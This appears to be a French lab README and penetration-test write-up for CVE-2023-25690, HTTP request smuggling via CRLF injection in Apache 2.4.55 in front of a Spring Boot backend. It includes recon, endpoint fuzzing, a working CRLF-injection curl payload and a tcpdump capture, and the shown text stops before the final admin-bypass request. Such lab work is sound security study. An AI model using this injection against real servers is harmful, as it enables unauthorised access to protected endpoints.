giordy0424/cve-2023-25690_labHTTP Request Smuggling lab : injection CRLF Apache 2.4.55
| Composant | Rôle | Version |
|---|---|---|
| Apache HTTP Server | Reverse Proxy | 2.4.55 (vulnérable) |
| Spring Boot (Tomcat embarqué) | Backend API | 4.x (Java 21) |
| SQLite | Base de données | — |
Utilisateur ──► Apache :80 (Proxy) ──► Spring Boot :8080 (Backend) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690 : CRLF non assainis
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL : <Location "/admin"> bloqué
POST /public/register : permet l'enregistrement des utilisateurs dans la base de données
POST /public/login : permet la connexion via la vérification des identifiants saisis et délivre un jeton de session
GET /public/dashboard : espace réservé aux utilisateurs
GET /api/status : accepte le paramètre « name », c'est un endpoint d'exemple pour la vérification de l'état des services
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass} : c'est une route théoriquement inaccessible au public qui permet aux administrateurs de modifier les données des utilisateurs
Lors de l'activité de test d'intrusion, une vulnérabilité critique a été identifiée dans l'infrastructure de reverse proxy qui expose le backend Spring Boot. Le proxy Apache HTTP Server version 2.4.55 est affecté par la vulnérabilité CVE-2023-25690 (HTTP Request Smuggling), qui permet à un attaquant de contourner les filtres de sécurité imposés sur le proxy et d'atteindre directement des endpoints administratifs internes non protégés.
L'attaque exploite l'absence d'assainissement des caractères de contrôle (CRLF) dans les RewriteRule d'Apache, permettant l'injection d'une seconde requête HTTP parmi les paramètres d'une requête légitime vers le backend. La preuve de concept a démontré la modification non autorisée des identifiants utilisateur dans la base de données via l'endpoint /admin/edit/{id}/{newName}/{newPass}, théoriquement protégé par les ACL du proxy.
Recommandations : Mettre à jour immédiatement Apache HTTP Server vers la version ≥ 2.4.56, renforcer les filtres de sécurité sur le proxy et implémenter une couche de sécurité côté backend (Spring Security) pour tous les endpoints sensibles.
Identification de la version d'Apache via l'analyse des en-têtes HTTP de la réponse.
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
Résultat : L'en-tête Server révèle Apache/2.4.55. Consultation de la base de données CVE → correspondance avec CVE-2023-25690.
Selon la CVE, dans cette version d'Apache, si une RewriteRule copie dans l'URL de destination du backend des caractères génériques provenant de la requête au proxy, le texte transcrit n'est pas assaini, donc les caractères de contrôle (comme les retours à la ligne) passent également.
Par exemple : RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // le P signifie mode proxy
Notre objectif est donc maintenant de découvrir un éventuel endpoint qui effectue cette transcription au niveau du proxy.
De l'analyse des réponses et du comportement de l'application, on observe que la session est gérée via JSESSIONID, ce qui confirme l'utilisation d'un conteneur de servlets Java (comme Apache Tomcat, Jetty ou WildFly). De plus, la requête vers des endpoints inexistants renvoie une « Whitelabel Error Page » qui indique que le backend utilise Spring Boot.
Grâce à un script bash pour l'automatisation du fuzzing par dictionnaire, les endpoints exposés sur le réseau ont été cartographiés (vraisemblablement tous).
Résultat :
| Endpoint | Code HTTP | Méthode | Paramètres |
|---|---|---|---|
| admin | 403 | GET | (aucun paramètre) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (aucun paramètre) |
| public/logout | 200 | GET | (aucun paramètre) |
| api/status | 200 | GET | (aucun paramètre) |
| service/* | 200 | GET | (aucun paramètre) |
Étant donné que
renvoient toutes deux la même réponse, on comprend qu'elles pointent vers le même endpoint du backend. De plus, comme les requêtes du type /service/x/y/z (qui n'existent très probablement pas) ne renvoient pas de 404, on peut déduire que l'endpoint d'origine accepte un paramètre et non une variable de chemin. En conclusion, on peut déduire que les requêtes vers /service/<service> sont traduites par une RewriteRule vers le backend Spring Boot (exactement ce que nous cherchions). Il faut maintenant déterminer si cette RewriteRule est générique, c'est-à-dire si elle utilise une regex de type .* ou si elle est bien structurée.
J'essaie d'insérer des caractères de contrôle dans la requête pour séparer le contenu légitime du contenu caché :
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... Le service 'x' est opérationnel et stable.
J'ai inséré un paramètre personnalisé pour vérifier que les CRLF sont correctement interprétés.
trash_header a pour rôle d'encapsuler les en-têtes qu'Apache insérera dans la requête vers le backend (ainsi, ils seront interprétés comme du simple texte d'un X-Header et n'auront aucune valeur pour la requête HTTP).
Avec tcpdump dans le conteneur du backend, j'ai pu intercepter la requête HTTP provenant d'Apache :
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
Le backend voit cette requête :
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
« Les caractères de contrôle ont contrôlé »
La réponse m'indique que la partie contenant les caractères de contrôle est passée sans encombre comme structure de la requête HTTP elle-même et non simplement comme paramètre (car le nom intercepté par le backend est uniquement 'x'). Nous avons donc imposé le format de la requête HTTP vers le backend et le proxy l'a accepté. Cela ouvre la voie au véritable payload pour le smuggling.